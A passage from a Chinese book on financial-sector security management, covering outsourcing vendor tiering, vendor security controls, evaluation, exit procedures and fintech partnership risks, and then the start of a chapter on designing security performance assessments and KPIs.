响和约束越大,因此需要通过金融企业核心科技能力建设,提高自主掌控力度,降低对外包商的依赖, 做到任何外包商的人员流失或退出都不会使科技服务水平受到显著影响。外包项目立项阶段,应该测算 单个项目、单个系统、同类项目以及科技整体的外包依赖程度,如果单个或某类外包依赖度超出期望水 平,都应该考虑如何提升自身知识和能力储备,提高自主掌控水平,降低外包风险。 ·控制外包集中度风险。无论是因为金融企业自身对某个单一外包商的集中度比例大,还是因为外包 商在整个金融行业中市场份额大而导致的行业集中度大,都可能导致风险过度集中和过度依赖于单家外 包商的经营状况和服务水平。金融企业应合理管控服务提供商的数量,定期对现有外包服务的结构进行 分析,将合同金额、驻场外包人员数量、金融行业市场占有率排列靠前的外包服务商,列入外包集中度 风险关注名单,并积极采取后续管控措施:一是在新增项目的外包商选择前,对于在关注列表中的外包 商,重点分析选择的必要性和对应的风险分散措施;二是应当特别加强对关注列表中外包商的持续监 测,定期开展现场检查,及时发现和掌握风险事件的苗头,防患于未然;三是根据统计排名结果,制订 外包服务商替代方案,做好应急预案并开展应急演练,演练内容包括但不限于外包服务突然中断时的合 同履行、服务交接、敏感信息处置等。 7.3.2 事中控制 事中控制阶段是外包管理的核心环节,重点是做好外包项目建设以及服务实施的计划与控制,形成 科学、高效的外包商关系管理体系,及时发现问题、反馈问题、了解原因、解决问题,确保实现信息科 技外包目标。事中控制主要包括以下几方面的工作: ·外包商分级管理 ·外包商日常管理 ·外包商信息安全管理 ·外包商考核评价 ·外包商现场检查 ·外包商服务监测 ·外包商安全管理 ·突发事件应急处置 1.外包商分级管理 外包商分级管理是指通过对外包商库内的外包商进行等级划分,对不同等级外包商实行差异化的等 级管理政策。通过分级管理,奖励先进、处罚落后,充分发挥激励机制,促进外包商提高产品或服务质 量,促使供求双方走向合作共赢。 外包商的分级需要综合考虑市场整体情况、外包商综合实力、外包商的经营管理动态、外包商服务 的重要程度、外包商服务质量等,对于处在不同等级的外包商,针对性地采用不同的管理模式和管理方 法。 金融企业的外包商分级管理模式可参考如下配置: 根据外包商市场竞争情况、外包商的实力和经营情况,以及与金融企业的项目合作情况,金融企业 可将外包商分为战略外包商、瓶颈外包商、重点外包商和普通外包商四个等级。 (1)战略外包商:综合实力较强,并与金融企业为战略合作伙伴关系的外包商。 该类外包商一般与金融企业有密切的业务往来关系,有利于金融企业业务的发展。同时满足以下条 件的外包商可划分为战略外包商: ·外包商在规模、声誉、技术或服务等方面处于所在行业领先水平,掌握金融企业所需产品(服务) 的关键技术和核心资源,并且重视与金融企业的合作关系。 ·外包商与金融企业签订了战略合作协议。 对于战略外包商,金融企业可采取建立长期合作伙伴关系的策略,基本原则是实现“双赢”。合作过 程中必须保持密切和通畅的沟通渠道,并开展定期双向交流,但必须防止向战略外包商的不合理倾斜, 以减少外包商的垄断牵制。具体措施包括: 1)建立与战略外包商的定期互访、信息通报机制,加强了解与互信。 2)建立联系人制度,及时沟通与释疑。 3)一方面在外包商后续选择流程中优先考虑,另一方面要开展后评价,做好监督。 4)要求外包商保证产品质量、价格等信息公开透明。 (2)瓶颈外包商:能满足金融企业采购需求,但所处行业市场竞争不充分的外包商。 该类外包商通常数量不多,更换难度较大。同时满足以下条件的外包商可划分为瓶颈外包商: 1)所在行业受到国家严格管控,具有行业垄断地位的外包商;或者具有独有技术、独特资源、特殊 授权或权威认证的外包商;或者其产品或服务在同类市场上难以找到替代品的外包商。 2)市场上能满足金融企业采购需求和外包商入库资质标准的外包商数量有限,一般不足三家。 对于瓶颈外包商,采用灵活多样的管理策略。积极与其建立稳定的合作关系,关注其独有技术、独 家授权、行业垄断的市场地位,尽可能开发和寻找替代产品或服务,以避免受到瓶颈外包商的过度制 约。具体措施包括: 1)定期关注独有技术和独家授权的市场变化。 2)相关部门一旦发现瓶颈外包商的市场变化情况,必须及时采取措施并报告外包商管理部门。 (3)重点外包商:与金融企业有比较深入的合作,提供的产品或服务水平较高,在后评价中获得较 高评价的外包商。 重点外包商的划分主要依据后评价情况开展,后评价结果为优秀的外包商可划分为重点外包商。对 于重点外包商,要加强管理和维护力度。一方面,引导其了解金融企业对重点外包商的优选政策,提高 外包商合作积极性;另一方面,要大力宣传“能上能下”的分级管理制度,促使外包商持续提供优质服 务。具体措施包括: 1)对重点外包商开展定期后评价工作,关注外包商的持续服务情况。 2)相关部门必须及时反馈重点外包商的产品质量和服务状况,外包商管理部门及时向外包商提出需 求和建议,并要求外包商持续改进服务水平。 (4)普通外包商:能满足金融企业采购需求,同时所处行业市场竞争比较充分的外包商。 该类外包商的更换难度和成本较低。满足以下条件的外包商划分为普通外包商:外包商市场竞争比 较充分,满足同类要求的外包商数量在三家以上(含)。 对于普通外包商,应尽可能维持充足的数量,为采购项目提供更多的比较和选择。通过分级管理的 奖惩措施,激励普通外包商提供更优质的产品和服务。具体措施包括: 1)相关部门必须及时向外包商管理部门反馈普通外包商的产品质量和服务状况,外包商管理部门及 时督促其改进和完善。 2)对于效果不满意的普通外包商,及时进行替换。 3)加强对不同级别外包商管理政策的宣传,刺激普通外包商提高服务水平,增强其成为重点外包商 的意愿。 2.外包商日常管理 外包商日常管理包括外包人员入场和离场管理、外包人员考核和考勤管理、外包环境管理等工作。 外包人员入场管理:一是对入场外包人员资质进行严格审核,对专业水平进行现场笔试和面试;二 是要求外包商提供主要外包服务人员的背景调查结果和无犯罪记录证明;三是建立外包人员信息台账, 强化对外包人员信息档案的更新与管理;四是要求外包人员入场前签署保密协议及服务承诺书;五是要 求外包人员参加信息安全培训和规章制度培训,考试合格后方可按照入场流程办理相关手续。 外包人员考核管理:一是通过工作任务单、项目计划表等方式,安排工作任务和计划,充分提高外 包资源使用效率;二是建立外包资源使用台账,方便工作量结算和成本节约;三是建立外包人员考核机 制,对外包人员的服务质量、工作态度、工作纪律等进行考核,考核结果与付款挂钩;四是统一外包人 员考勤和工作纪律管理,不允许迟到、早退、旷工,严禁工作时间从事炒股、游戏等无关活动,否则进 行严肃处罚;五是做好办公场所访问控制,不允许无关人员进入外包环境。 外包环境管理:一是定期组织召开外包商工作会议,针对外包商的服务质量、日常管理等方面的问 题进行通报、点评和处罚,并从质量控制、风险防控等方面提出具体工作要求;二是建立外包服务周 报、月报机制,定期向金融企业报告工作进度和问题;三是建立月度专题会议、季度沟通会议、年度管 理会议等例会机制,必要时请外包商高层领导参加,通报现场服务的问题,协调解决。 外包人员离场管理:一是外包服务人员提前提出离场申请以及做好后续人员安排,完成审批后退 场;二是遵循有关保密要求,清理其设备、文档中遗留的金融企业数据;三是完成工作交接、用户权限 清理、电子设备或其他物品交接等。 3.外包商信息安全管理 外包商信息安全管理包括两部分,即管理要求和技术措施。 管理要求方面,通过规章制度的建立与培训,形成“软约束”:一是制定外包人员管理细则,约束外 包人员现场工作纪律和信息安全要求;二是由外包人员签署保密承诺书,承诺保密义务与责任;三是在 入场时或者定期组织信息安全培训和考试,确保外包人员熟知和执行信息安全工作要求;四是日常检查 安全要求落实情况,采用专项检查和随机抽查相结合的模式,对于违规者严厉问责。 技术措施方面,充分应用技术手段,实现风险的“硬控制”:一是通过环境物理隔离、用户权限管 理、敏感信息脱敏等手段避免外包人员接触敏感信息;二是建立独立的终端开发环境,必须使用金融企 业统一配置的终端,安装统一的防病毒软件及终端安全管理软件,禁用U盘等移动存储介质,不允许外包 人员自带设备接入金融企业的网络;三是实施网络隔离,外包人员使用的终端部署在独立的安全域内, 与其他安全域进行逻辑隔离,避免外包人员向开发测试服务器或开发测试终端拷入、拷出程序,同时禁 止互联网的访问;四是遵循“必须知道”和“最小授权”的原则,开放外包人员的网络访问权限和用户权限; 五是严格控制外包人员操作金融企业生产系统;六是针对故障硬盘、磁带等存储设备,进行物理破坏和 销磁后入库,严禁返厂维修。 4.外包商考核评价 外包商考核评价的目的是通过对外包商的有效激励,加强其与金融企业的合作关系,提升服务质 量。外包商的考评应该针对不同类型的外包商制订不同的考评指标,定期组织考核评价,并对考核评价 结果开展定期的分析,将评价综合结果和评价指标得分反馈给外包商,促使其取长补短,持续改进。 根据外包商考评周期和考核对象,可将考核评价分为两类:一是外包项目或工作结束后对外包项目 或人员进行考核;二是每年对外包服务商进行服务水平和服务质量的总体考核评价。 根据外包类型,可将考核评价分为四类:一是规划咨询类外包,重点考核规划结果的合理性和适用 性、规划咨询人员的经验水平等;二是应用研发类外包,重点考核项目进度、交付质量、业务需求符合 度等;三是系统运维类外包,重点考核交付及时性、运行稳定性、故障出现概率、故障处理及时性等; 四是安全服务类外包,重点考核安全服务人员技术水平、安全防范措施的有效性、安全漏洞发现率等。 根据外包采购模式,可将考核评价分为两类:一是项目类外包,主要从项目交付进度、项目提交件 完整性及质量、测试发现缺陷情况、项目投产后的故障情况等方面,在项目结束后进行考核;二是人力 资源购置类外包,制订外包人员的定性和定量考核指标,每季度对相关人员进行考核。综合后形成对服 务商的考评结果。 5.外包商现场检查 对于重要的外包商,应当定期开展现场检查,每半年或每年进行一次。对供应商的现场检查内容应 根据服务类型有所区分,但可以参考表7-6所列的检查内容。 表7-6 外包商现场检查表 6.外包商服务监测 要建立常态化的外包服务监测制度,及时发现外包商的风险隐患苗头,防患于未然。监测内容主要 包括: ·持续监测异常事件。通过公开信息检索、外包商服务报告等方式,监测、收集服务商的最新经营情 况、法律诉讼事件、重大财务事件、信息泄露风险事件等信息,一旦监控到异常情况,立即督促服务提 供商采取纠正措施并限期整改,及时发现和化解服务商潜在风险。 ·日常监测合同履行情况。根据合同条款中规定的各个阶段性目标的达成情况、服务水平指标达成率 等衡量外包服务质量。例如,对于应用研发类外包,监测投产计划达成率、业务需求满足度、应用系统 故障次数、故障应急响应时间、故障及时解决率、人员流失率等服务质量监控指标。对于外包商不履行 合同条款、服务水平不达标等情况,纳入外包商合作事件记录表,作为外包商考核依据及后续合作参 考。 ·定期开展外包服务的风险评估。针对各类信息科技外包活动存在的固有风险,分析外包管理措施的 执行情况和风险控制措施的有效性,评估剩余风险的可接受程度,针对发现的风险和不足,制订改进措 施和计划并落实整改。 7.外包商安全管理 金融行业通常使用了不同安全厂商的硬件、软件和服务,根据提供的内容不同,软件厂商又可以分 为外购软件厂商、合作开发厂商、外包开发厂商等。外购和外包的区别在于,外购一般指该软件或应用 系统基本比较成熟,不再需要二次开发,购买了可以直接部署使用,比如微软的Office、Oracle、Vmware ESXi等。外包是指该软件由甲方提出具体需求,乙方根据甲方需求新开发,或在已有的软件框架上进行 二次开发,然后再交付甲方使用。 外购软件由于其比较成熟,已经被广泛使用,安全风险较低,主要是防范一些通用的CVE漏洞,及 时关注漏洞信息,做好应急处理即可。 外包和合作开发软件,安全风险较高。主要原因包括:一是乙方根据甲方需求,重新或二次开发, 软件使用面为少数客户,成本难以分摊,导致外包商无法在安全需求上重点投入;二是工期通常较紧, 甲方需求方通常面临内部业务方的工期压力,将这种压力传导到乙方,乙方迫于工期压力,会降低对安 全需求的要求,甚至违反其内部设置的安全开发规范和流程;三是部分软件开发厂商的开发框架比较陈 旧,有的超过10年,IT技术和安全技术日新月异,显然无法满足现在的安全要求,而目前大部分软件开 发厂商的规模并不大,利润空间较低,导致框架更新缓慢,造成交付的软件安全质量堪忧。 目前,整个大环境无法有效改变,单个公司和个人能做的是,加强对软件厂商的安全管理,包括: 建立软件厂商安全标准并监督落实;对软件厂商交付的代码进行黑盒检测,有条件的做白盒检测,发现 未满足安全要求的要进行整改,并追究内部人员(安全测试和开发人员)责任;将安全要求写入合同, 反复违反的进行高层约谈和行业通告,特别难推动的及时向监管层报告。 对于外包外购服务商软件及代码安全交付的要求,一般包括以下几点: ·需要符合监管机构对安全性的需求。 ·外包外购服务商须建立软件安全开发规范,对于交付的软件及代码须进行安全检测,软件质量保障 组织或信息安全组织须监督检查规范的执行和安全检测工作的落实情况。 ·软件及代码交付时须附上对应版本的安全检测报告,如无相应的安全检测报告将延迟或拒绝验收。 软件交付后,发现软件安全问题,将予以责任追究和问责。 对于外包外购服务商软件开发的安全管理建议: ·外包外购服务商应建立相应的软件开发安全规范,规范中应明确规定常见的开发安全问题、问题的 风险及影响、问题的防范与处理方法等。 ·外包外购服务商开发人员应严格执行其开发安全规范,保障软件开发过程中的安全质量。 ·外包外购服务商信息安全组织应定期对开发人员开展安全技能及意识培训,全面提升开发人员的安 全开发能力。 ·外包外购服务商信息安全组织应监督规范的执行情况,并对开发过程中各阶段的交付产品进行安全 测试,包括白盒及黑盒测试,保障最终产品的安全交付。 ·外包外购服务商在进行软件交付时应附上相应合格的安全检测报告,并修复所有中危级别以上漏 洞。必要时提供代码安全审计报告,报告内容应包括测试人员、时间、工具、标准、方法、结果等。 8.突发事件应急处置 外包合作过程中可能出现外包风险事件,如外包商经营出现风险、人员流失等,金融企业需要具备 应对突发事件的能力,确保外包商的服务不影响金融企业自身正常运营。 ·建立信息科技外包风险应急管理机制,制订专门的外包风险应急预案及操作规程,重点针对外包服 务商出现重大资源损失、重大财务损失、重要人员变动以及外包协议意外终止等异常退出情况,明确应 对要求。 ·建立技术部门、业务部门、管理部门(包括法律、财务、风险等部门)、外包服务商多方应急联动 机制,将上述关联方纳入常规应急演练工作中,提升对突发事件的联动响应能力。 ·每年组织企业内部有关部门,联合重要外包商开展桌面模拟演练,验证外包风险应急预案及操作规 程的有效性和可行性,防范因外包服务意外中断或终止而带来的损失和风险。 ·对于重要外包服务商,应要求其制订业务连续性计划,通过合同等形式明确要求外包商提前做好准 备,承诺紧急情况下优先向金融企业提供资源,并要求外包商根据应急处理预案定期进行演练并向金融 企业提交报告,实现对外包商业务连续性管理的持续监控。 7.3.3 事后处置 事后处置,是指外包项目结束,或者外包服务中断与终止后,妥善合规地完成外包商后评价、外包 商退出处置和外包人员离场检查等工作。 1.外包商后评价 外包商后评价是根据外包商提供产品或服务的执行情况和执行效果,对合作外包商进行全面评价, 以发现外包商在合同期内存在的问题。 外包商后评价通常在外包服务结束后半年完成,根据外包项目或外包服务的具体情况采用电话咨 询、问卷调查、访谈以及现场考察等方式开展。 外包商后评价内容包括但不限于以下方面,可根据采购内容的特点和合同约定等信息,拟定后评价 的各项评价指标和评分权重: ·外包商提供产品或服务的质量和性能。 ·业务需求满足程度和客户体验效果。 ·外包商的项目管理过程和项目管理能力。 ·外包商售后服务质量。 ·外包商商务配合情况。 ·合同履行的其他情况。 ·依外包项目本身特点而拟定的其他评价因素。 外包商后评价的结果直接影响下一次服务的合作可能性,作为外包服务商准入的重要参考依据,选 优汰劣,促进外包服务商不断提高服务质量和效率。对于违反合同约束的外包服务商,可以按照合同约 定启动相关罚则,严重者可以做退出处理。 2.外包商退出处置 外包商退出分为自然退出和强制退出两种。 外包商的自然退出,是指外包服务结束、外包合同终止,外包商按照合同约定停止在金融企业的服 务内容。按照金融企业的外包商退出机制,办理退出手续即可。 外包商的强制退出,是指取消外包商在金融企业的服务资格,并纳入黑名单管理。当外包商出现以 下情况时,应该执行退出流程: ·外包商的经营状况、商业信誉或商品质量出现严重的问题,对金融企业的服务造成重大影响或严重 风险隐患。 ·外包商存在严重的违法违规行为。 ·外包商在合同执行期间出现严重的违约行为,对服务造成重大影响。 ·外包商后评价未达标。 ·外包商提供虚假信息或伪造资料。 ·外包商存在商业贿赂、串标、围标、严重不应标、恶意中伤竞争对手等扰乱正常采购秩序的行为。 ·外包商存在导致金融企业直接或间接损失的其他行为。 对于强制退出的外包商,信息科技部门需要联合业务部门、法律部门、财务部门等共同讨论解决方 案,收集外包商违约或风险事件的证据材料,商议合法合规的处置流程,做好风险分析和应对措施,避 免给金融企业造成财务损失和法律风险。 3.外包人员离场检查 外包服务结束后,金融企业应组织外包人员退出前的检查工作,检查结果作为合同结束的参考依 据,以防范因外包服务终止而产生的信息泄露风险。具体检查内容包括: ·清理外包人员电脑(如果存在外包人员自带电脑的情况)中,属于金融企业的程序和数据,并由外 包服务商提供关于数据已全部清理和后续保密约定仍然有效的书面承诺。 ·确认用户权限清理完毕,包括所有用户的注销或删除;门禁卡物理介质归还及权限清理;指纹、指 静脉、人脸等身份鉴别方式及记录的删除或禁用等。 ·退还金融企业提供的电脑、开发测试用的其他电子设备、文档资料等物品。 7.4 金融科技时代的外包安全管理 金融科技时代,随着新技术的发展和新业务、新产品的涌现,信息科技的治理架构、技术架构和运 维模式不断演化,金融企业与外包商的合作模式和合作关系也发生了变化,有新的机遇,也意味着新的 风险。 除了上述传统外包安全管理手段外,还需要结合新时代的特点,做好外包商合作关系管理和风险管 理。 1.金融科技合作的几种外包模式 在人工智能、区块链、云计算、大数据、物联网等新技术大量运用的当今时代,涌现了大量的金融 科技公司,他们的服务范围已经不再局限于提供规划咨询、应用研发、系统运维、安全服务等传统的、 纯科技的外包服务,而是寻求与金融企业的深度合作,将业务合作、消费场景、科技能力等向金融企业 输出,嵌入到双方合作内容中。 金融企业与金融科技公司的合作,主要有三种外包模式: 第一种是与“互联网系”的金融科技公司合作,进入互联网企业生态圈。在互联网公司的平台和科技 能力输出的基础上,开展双方系统平台的技术对接,利用互联网企业的大量用户、流量、消费场景等优 势,在技术和业务方面同步开展合作。 第二种是与“金融系”的金融科技公司合作,建设银行、兴业银行、招商银行、民生银行、南京银行 等大中型银行机构纷纷成立了金融科技公司或者提供开放的金融平台,为其他中小金融企业提供服务。 第三种是与中小型金融科技企业合作,充分利用金融科技企业的技术,整合双方资源,将金融科技 企业融入银行自身的生态圈中。 不管是哪种合作模式,在信息科技外包风险管控方面都有共同的特点,金融企业对于外包业务环节 中的金融风险仍须承担风险管控的主体责任,需要分析这一类新的外包模式带来的新风险和可能产生的 影响,适时采取必要的应对措施。 2.金融科技合作中外包模式的风险分析 金融企业与金融科技公司的合作,通常会包含数据共享、业务流程整合等方面的合作内容,而且金 融科技相关应用中的分布式账户、大数据、云计算、客户身份认证等技术应用,经常采用外包模式实 现,因此存在一些新的风险。 首先是个人信息保护方面。金融科技的广泛应用带来了关于客户信息保护的新挑战,需要特别关注 数据的保密性、完整性和可用性问题:一是由于业务合作可能涉及金融企业的客户信息的共享,或者金 融企业需要通过金融科技公司的平台和场景作为引流方式,难以确保客户信息的绝对安全。二是客户信 息有没有经过信息主体的授权,有没有泄露隐私,哪些信息可以获取哪些不可以,目前在法律法规和监 管要求层面都缺乏可落地的细则,客户信息的来源和使用的合法合规性没有统一标准。三是客户信息的 采集、处理、存储、传输、销毁等全生命周期的管理环节中存在各种不可预知的风险,需要避免数据丢 失、损坏、被篡改,以及确保不可用的数据正常销毁。 其次是业务连续性方面。由于对社会公众服务的实时性要求极高,金融企业的业务连续性要求通常 非常高。与金融科技公司开展业务合作,业务连续性将部分依赖于金融科技公司管理有效性、基础设施 和软硬件系统建设水平、团队责任心等,对金融科技的服务能力提出了巨大的挑战。当发生系统故障 时,如何快速应急处置,保证数据和业务的快速恢复,是对金融科技公司的巨大考验。 再次是信息安全方面。由于用户、信息资源的高度集中,获利性提高,金融科技平台遭受黑客攻击 的可能性也在上升,DDOS攻击、数据库拖库等攻击而导致的服务不可用或者敏感信息泄露的可能性增 加,其破坏后果和严重程度会明显超过传统的单家金融企业遭受攻击。 3.金融科技合作中外包模式的管理要求 选择金融科技合作模式,必须要接受其固有风险。同时,也需要做好以下风险控制措施,尽可能将 剩余风险降低到可以接受的程度: ·金融科技规划必须同步考虑风险防控规划,将包含外包风险的风险防控的管理和技术手段,与金融 科技的应用同步规划、同步设计、同步实施,方能保障新技术上线的同时,新的安全防控措施也实施到 位。风险防范规划同样需要从用户体验出发,围绕客户资产和信息安全开展风险分析和防控。 ·金融企业必须承担外包风险管理的主体责任。一方面,传统的外包安全管理要求同样适用于金融科 技公司;另一方面,须严格要求金融科技公司遵守金融行业监管要求。例如,账户实名制、客户身份验 证、产品宣传销售、投资者适当性管理等方面的技术要求,保护金融客户的合法权益。 ·在合作协议上必须明确规定客户信息保护、业务连续性管理、信息安全管理方面的要求,监控指标 和对应的违约责任,约束金融科技公司的行为。 ·要求金融科技公司也制定详细的运行维护和信息安全管理制度和流程,以确保数据备份的有效性, 加强数据访问的授权控制,杜绝数据被恶意篡改,确保退役数据的妥善保管或销毁等。 ·通过技术手段防范风险。一方面,做好与金融科技公司之间数据传输过程中的加密、防篡改和完整 性校验、不同企业间数据安全隔离等;另一方面,要求金融科技公司做好安全防控,包括网络安全区域 划分和网络隔离,防攻击、防病毒、防篡改的安全措施,安全技术防控工具部署,安全审计系统部署, 应用安全漏洞防范等,确保能提供与金融行业同样高安全等级的服务。 信息科技外包风险管理将是商业银行面临的一项重要的长期任务,特别是新时代的新型外包管理模 式,更是有着不同于传统管理模式的特点,需要一边思考研究,一边实践应用,方可形成一套适合金融 企业的外包管理体系。 7.5 小结 本章分析了外包安全管理的必要性和重要性,列举了几个著名的外包风险事件,从外包管理问题出 发,探讨了外包战略、战术体系构建。最后顺应当前金融科技时代的趋势,探讨了新形势下外包安全管 理的特点和方法。 第8章 安全考核 安全考核,属于金融企业整体考核评价体系的一部分。在企业资源受限的情况下,如何通过安全考 核这个指挥棒,最大化地激励团队与员工,实现安全目标,是需要企业安全负责人认真思考的问题。 8.1 考核评价体系与原则 笔者所经历过的金融企业,均比较重视考核评价体系与奖惩机制、人才选拔机制以及管理者在考核 中的作用。 1.考核评价体系 金融企业的考核评价体系尊崇“赛马胜相马”,应该让员工在实际的工作岗位中竞争,通过考核,选 出最终脱颖而出的人才。 德、能、勤、绩是企业评价员工的四要素,德代表思想品行,能代表能力,勤代表工作表现,绩代 表绩效。比如,这活给钱我干,不给钱我也干,就是德;别人不行,我行,就是能;别人休息了,我拼 搏,就是勤;白猫黑猫,抓了老鼠,就是绩。我们用人所长,绝不求全责备,普通员工和初级管理者主 要考核绩和勤,中级管理者主要考核绩和能,高级管理者主要考核德和能。 金融企业通常采用绩效评估和考核,实现对员工德、能、勤、绩的整体评价。考核是上级、下级、 同级(相关者)的多维考核体系,力求真实反映各团队和员工的综合绩效。KPI考核是常见的一种考核方 式,通常根据组织战略,制定各团队和条线的KPI,再由团队或条线逐层分解到员工KPI。但KPI通常与其 他的评分结合使用,例如,通过KPI和上级打分可以实现上级的利益诉求,通过互评和协助评分可以实现 同级相关团队利益诉求,通过员工满意度评分可以实现下级利益诉求。KPI的考核成绩可以说就是德、 能、勤的函数在概率分布下的结果,上级打分、同级互评和员工满意度是第三者对员工德、能、勤的主 观感受。没有团队精神的员工,不爱部下的领导,再有能力也不可能在互评和满意度评估中获得高分, 因此也不可能在综合评分中达到高分。 绩效考核结果运用遵循长短期利益相结合的原则:现金收入是短期利益,是个人价值贡献回馈体系 的一部分;企业提供的承担重要领域、重要任务的机会,以及因此而让员工实现的个人价值提升,属于 长期利益,优秀员工必然会从长期利益中获得丰厚回馈。不管是长期还是短期利益,都是和员工日常工 作中完成的每一项工作、每一次重要会议、每一个项目分不开的,只有日常工作的辛勤积累,才能造就 每年的丰硕果实,体验奋斗带来的丰收喜悦。 企业应该将部门利益和个人利益挂钩,如果部门因为某个员工的努力获取了利益,就应该以某种形 式反馈为员工利益;如果因某个团队的努力使部门获取了利益,也应该以某种形式反馈给团队,再由团 队以公平的形式反馈给员工。 2.奖惩机制 企业的奖惩机制遵循以下原则: 一是奖励与惩罚并重的原则。企业为每个人提供充分的长期创新动力或制度激励,同时,为每个人 提供行为选择的制度罚单和约束条件,从而构建起奖励与惩罚并重的有效均衡机制; 二是物质奖惩与精神奖惩相结合的原则。物质奖惩和精神奖惩分别针对每个人的基本物质需求和精 神需求,是双向强化的方式,各自承担不同的功能,要充分利用好人的趋利主义动机和精神主义作用。 3.人才选拔机制 企业的人才选拔原则为:择优和奋斗。择优包括品德、绩效、能力、贡献、合作、责任;奋斗包括 额外工作时间的投入。我们不单纯任人唯贤,也任人唯“亲”,这里的“亲”不是指血缘关系,而是指是否认 同我们的企业文化。企业应当创造多种机会以便于人才的脱颖而出,包括虚拟条线、轮岗锻炼、跨界学 习等。 4.管理者的权利和义务 管理者具有本条线人力资源管理职责,各级管理者有责任记录、指导、支持、激励与评价下属员工 的工作,负有帮助下属员工成长的责任,下属优秀员工的数量和质量是管理者绩效的重要指标。 8.2 安全考核对象 作为企业考核体系中的一个分支,安全考核分为团队考核和个人考核两部分,具体如图8-1所示。 1.团队考核 (1)总部IT部门 企业内部一般由人力资源部(或薪酬绩效委员会)负责整个企业内部的考核体系、考核标准,以及 每年下达各部门的绩效目标书。总部IT部门的绩效目标书通常会包含信息安全考核指标,考核权重为 5%~20%,一般不会超过20%。信息安全考核内容通常既包括结果指标,又包括过程指标。典型的指标包 括: ·安全事件数(有的也称为安全运行率),属于结果指标。这个指标主要考核一年内安全防护情况, 通俗讲就是不出事。该指标也代表风险偏好和容忍度。根据企业的实际情况不同,有的企业愿意安全投 入少一点,能适当容忍一些安全事件发生。有的企业要求比较高,投入大,不太能容忍安全事件,甚至 不接受发生安全事件的结果。安全事件数的考核,又分两类,一类是区分原因,比如安全事件数只计算 因IT部门管理失职导致的;另一类是不区分原因,只要公司发生安全事件就计算在内。实际中还是区分 原因的指标比较合理。 图8-1 企业安全考核分支图 ·合规率,属于结果指标。这个指标一般指监管标准达标率(内规承接外规比例),制度建设完备情 况,以及合规报送合格率(及时率、差错率)等,反映的是监管合规工作质量。 ·安全建设项目完成率,属于过程指标。这个指标指IT部门每年的建设项目中,安全项目建设完成情 况。 ·扣分项,属于结果指标。主要是公司内控合规、稽核审计部门,在内外部安全检查、安全审计中发 现问题的扣分。 通常情况下,总部IT部门考核会分解成细项指标,由总部IT部门安全团队和非安全团队承接,安全 团队承接的比重不超过20%。 (2)总部非IT部门 总部非IT部门,包括业务部门和职能部门,除风控部门外,通常没有信息安全考核指标,只有在发 生安全事件,责任归属于上述部门时,才通过扣分机制进行考核。比如,发现非IT部门员工泄露客户资 料数据,需要对该员工所在部门进行安全考核扣分处罚,严重的甚至进行内部问责。 (3)分支机构IT部门(或有) 金融企业一般会有总部和分支机构。分支机构不一定会有IT部门,所以是“或有”。分支机构IT部门 (或有)信息安全考核,和总部IT部门类似,分为结果指标和过程指标。 (4)分支机构非IT部门(或有) 分支机构非IT部门的考核,通常和总部机构非IT部门考核类似,主要在安全事件发生且定责为本部 门时列入扣分项。 2.个人考核 (1)企业安全负责人 有的企业设有专人担任企业安全负责人,即首席安全官(Chief Security Ofticer,CSO)。目前大部分 金融企业都没有独立的CSO岗位(预计未来5~10年会迎来爆发),一般由总行行长、公司总裁或者公司 分管IT领导兼任。企业安全负责人的“终极”考核,是由《网络安全法》明确规定的。《网络安全法》第三 十四条规定,“关键信息基础设施的运营者还应当履行下列安全保护义务:设置专门安全管理机构和安全 管理负责人,并对该负责人和关键岗位的人员进行安全背景审查”,第七十四条规定,“违反本法规定, 构成违反治安管理行为的,依法给予治安管理处罚;构成犯罪的,依法追究刑事责任”。可见企业安全负 责人承担着多么重大的责任。 (2)总部IT部门负责人 总部IT部门负责人的考核是360度综合评分,考核通常采用比较复杂的方式,主要权重还是在于IT对 业务发展的支撑、IT引领业务发展等方面。信息安全考核和运维考核一样,属于底线考核(不能出 事)。 (3)总部IT部门安全团队负责人 在企业高管层、部门总经理的层面,安全考核都只有一个指标—别出事情,出了事情等着“背锅”, 说白了就是要对结果负责。所以考核设计中,无论是对部门内其他团队的安全考核,还是对安全团队的 考核,结果指标都要占到考核的50%以上。 例如,对其他团队考核,就两个指标—风险发现和安全合规要求落实,简单有效。其中风险发现包 括漏洞和事件、内外部审计发现等;安全合规要求落实是指安全部门部署工作的完成情况。 安全团队考核两类指标—安全事件数和安全建设工作完成率。安全事件数应该包括整个部门的安全 事件数,因为IT部门内其他团队对自己的安全结果负责,安全团队对整个部门的安全结果负责。安全建 设包括安全项目、安全合规、安全宣传等工作,也都是承诺具体指标数据的。当然,对于一个团队负责 人来说,还应该承担其他指标,例如,安全团队人才培养、团队企业文化建设、安全团队满意度等。 (4)总部IT部门安全团队成员 对于安全团队成员一般考核以下指标:安全性、安全建设重点项目、督办事项、技术创新、常态化 工作、人才成长、满意度。(具体内容见8.3.4节“个人考核”) (5)分支机构IT部门负责人(或有) 负责承接总部下达的本分支机构安全考核任务完成。 (6)分支机构IT部门安全团队负责人(或有) 负责承接分支机构IT部门负责人安排的本分支机构安全考核任务目标完成。 (7)企业其他员工 企业其他员工主要承担安全职责,没有安全考核。安全职责主要是保守公司秘密,保护公司分配的 账户密码、双因素动态令牌Token卡等重要敏感信息。一般属于出事后的责任追究范畴。 综上所述,信息安全考核的重点是总部IT部门安全团队、总部IT部门非安全团队、总部IT部门安全团 队负责人、总部IT部门安全团队成员四部分。下面分别探讨面向总部IT部门安全团队和非安全团队以及 个人的考核方案。 8.3 考核方案 团队考核最重要的是两部分:总部IT部门安全团队和总部IT部门非安全团队。个人考核最重要的是 总部IT部门安全团队负责人和总部IT部门安全团队成员。 为了促使金融企业安全工作的目标更为清晰和一致,可按以下步骤设置考核方案: 1)根据企业风险防控的要求,确定安全团队的整体绩效指标。 2)将整体绩效指标分解为总部IT部门安全团队和非安全团队的指标。特别是对于安全团队,可分为 安全管理和安全技术两个团队各自的绩效指标。最终要确保各个团队的“合力”能满足整体绩效指标要 求。 3)确定各个指标的计算口径、数据收集方式、监测频率等。 8.3.1 考核方案设计原则 1.既要设置过程指标,又要设置结果指标 过程指标主要衡量做到还是没有做到,因为有些规定动作,不管结果怎样,都必须要做;结果指标 主要衡量做得好还是不好。 例如,安全工作计划达成率(每季度开展一次全面的漏洞扫描,每年开展两次渗透测试,互联网应 用系统投产前必须开展渗透测试等这些规定动作是否做到位),就是一个常见的过程指标,可以把每年 的主要安全工作列出来,规定达成的比例,按比例计分。 再比如,安全整改完成率,是一个结果指标,分子为按时完成的信息安全整改工作数量,分母为所 有信息安全整改工作数量。可以设置一定的容忍度,例如完成90%以上就可以得满分,90%以下再按档次 计分。 2.既要设置客观性指标(定量指标),又要设置主观性指标(定性指标) 